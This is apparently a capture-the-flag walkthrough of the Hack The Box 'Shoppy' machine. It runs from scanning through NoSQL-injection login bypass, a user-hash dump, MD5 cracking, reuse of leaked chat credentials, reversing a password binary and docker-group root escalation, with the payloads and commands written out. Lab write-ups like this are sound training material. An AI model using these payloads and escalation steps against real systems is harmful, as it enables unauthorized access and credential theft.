HTB • Shoppy
Shoppy is an easy Linux machine created by lockscan on Hack The Box that features a website with a NoSQL injection vulnerability that allows us to authenticate as the admin user. With a little help from another NoSQL injection vulnerability, we are able to extract and recover the password for the user josh. These credentials are valid on a virtual subdomain with a chat room containing the password for jaeger. Now these credentials are valid on the SSH server, so we login and grab the user flag. We recover the password for the user deploy by reverse-engineering a binary that allows us to read the user’s password. We then read the root flag by mounting the root filesystem inside a docker container and interacting with it.
Initial Recon
Let’s first set up our environment and run a TCP port scan with this custom nmap wrapper.
1
2
3
4
# bryan@attacker
rhost="" # replace with machine address
echo rhost=$rhost >> .env && . ./.env
ctfscan $rhost
The scan reports the following ports as open:
Port | Service | Product | Version |
---|---|---|---|
22 | SSH | OpenSSH | 8.4p1 Debian 5+deb11u1 |
80 | HTTP | nginx | 1.23.1 |
9093 | HTTP |
Web
Let’s get some basic information about the web server running on port 80 with WhatWeb
1
2
# bryan@attacker
whatweb "$rhost:80"
We are redirected to http://shoppy.htb which probably means that the server expects the hostname shoppy.htb for any requests. We’ll add the hostname to /etc/hosts
and our environment file.
1
2
3
# bryan@attacker
echo 'vhost=shoppy.htb' >> .env && . ./.env
echo -e "$rhost\\t$vhost" | sudo tee -a /etc/hosts
Now when we visit http://shoppy.htb in our browser, we don’t get redirected.
Initial contact with the web server on port 80
Subdomain Brute-Force
There isn’t anything immediately interesting on the site, so it would probably be a good idea to brute-force any virtual subdomains with ffuf and this wordlist.
1
2
3
4
5
6
7
# bryan@attacker
ffuf \
-u "http://$vhost/" \
-H "Host: FUZZ.$vhost" \
-w ./bitquark-subdomains-top100000.txt \
-mc all \
-fc 301
The mattermost subdomain is returned, so let’s add that to /etc/hosts
and visit it in our browser.
1
2
3
# bryan@attacker
sudo sed -i -E "s/\t($vhost)$/\t\1 mattermost.\1/g" /etc/hosts
chromium "http://mattermost.$vhost"
We find a VHost that is hosting the Mattermost project management software
the site seems to be using Mattermost project management software, which requires authentication. It doesn’t look like there are any public unauthenticated exploits for this, so we’ll move on to fuzzing the main site at http://shoppy.htb for content with dirsearch.
1
2
# bryan@attacker
dirsearch -u "http://$vhost/" -e html,txt
We find the notable /admin and /login endpoints.
Shoppy Login
The admin endpoint just redirects us to the login page, presumably because we aren’t authenticated.
We probably need to get past this login page
Authentication Bypass
When doing some manual injection fuzzing at /login, we find out that a username value with a single quote will cause the application to hang, while a username value with double quotes will pass normally. This is a good indicator of an injection vulnerability. It must be noted that SQL injection or NoSQL injection are the most probable for login functionality.
We notice when submitting ' OR ''='
as the username value the application hangs, but when we submit '||''=='
it doesn’t. This probably means that we have a NoSQL injection vulnerability rather than plain old SQL injection because most NoSQL solutions use operators similar to javascript rather than traditional SQL syntax. Now if this is truly an injection point, we could authenticate as the user admin by entering admin'||''=='
as the username.
We successfully exploit the NoSQL injection vulnerability in order to bypass authentication
It works! Now we’ll see what actions we can take as the admin to get some leverage.
Admin Dashboard
There seems to be an option to search for users. When we enter “admin”, we get an option to download an export which contains a password hash for the user. When we enter “adm” though, it claims there are no results. This suggests that our query has to match an exact username instead of just a similar username. Since we were able to utilize NoSQL injection once, why not try it again? Entering '||''=='
, will return an export of all users.
Hash Cracking
Let’s try to crack the hashes we found for the users admin and josh with John the Ripper and rockyou.txt
.
1
2
3
4
5
6
7
8
# bryan@attacker
admin_hash="" # admin's hash here
josh_hash="" # josh's hash here
echo "admin:$admin_hash" > ./md5.john
echo "josh:$josh_hash" >> ./md5.john
john ./md5.john \
--format="Raw-MD5" \
--wordlist="rockyou.txt" \
The hash for josh is cracked and now we have a set of credentials that happen to be valid at the mattermost login page.
Mattermost
Plaintext credentials thrown in the Mattermost chat
Upon logging in, we are immediately presented with another set of credentials, sent by jaeger in the chat room. It turns out, these credentials work for SSH so we’ll establish an SSH session now.
1
2
# bryan@attacker
ssh "jaeger@$rhost"
Privilege Escalation
As a part of enumeration, we run sudo -l
and find out that our current user can run /home/deploy/password-manager
as deploy
1 2 User jaeger may run the following commands on shoppy: (deploy) /home/deploy/password-manager
Password Manager
When we execute /home/deploy/password-manager
, it asks for a password.
1
2
# jaeger@10.10.11.180 (SSH)
sudo -u "deploy" /home/deploy/password-manager
1 2 Welcome to Josh password manager! Please enter your master password:
All we have to do here is hopefully find the password within the program. So we’ll download the file with the scp
command and analyze it with radare2
1
2
3
4
# bryan@attacker
scp "jaeger@$rhost:/home/deploy/password-manager" .
file ./password-manager # It's an ELF executable
radare2 -AA ./password-manager
It looks like the file compares our input to the string “Sample” and calls system("cat /home/deploy/creds.txt")
if they match. This is exactly the case when we run it again. A password for the user deploy shows up in the output and it turns out to be valid on this machine.
1
2
# jaeger@10.10.11.180 (SSH)
sudo -u "deploy" /home/deploy/password-manager
1 2 3 4 Access granted! Here is creds ! Deploy Creds : username: deploy password: [REDACTED]
Let’s login as this user and see what new privileges we have.
1
2
# bryan@attacker
ssh "deploy@$rhost"
Docker Group Escalation
The id
command indicates that our current user is part of the docker group. This is great news for us because membership to the docker group could allow us full access to this machine. All we have to do is mount the root filesystem on a new container, and read the root flag at /root/root.txt
.
1
2
3
# deploy@10.10.11.180 (SSH)
docker images # the alpine image is available
docker run -v /:/mnt --rm -it alpine chroot /mnt sh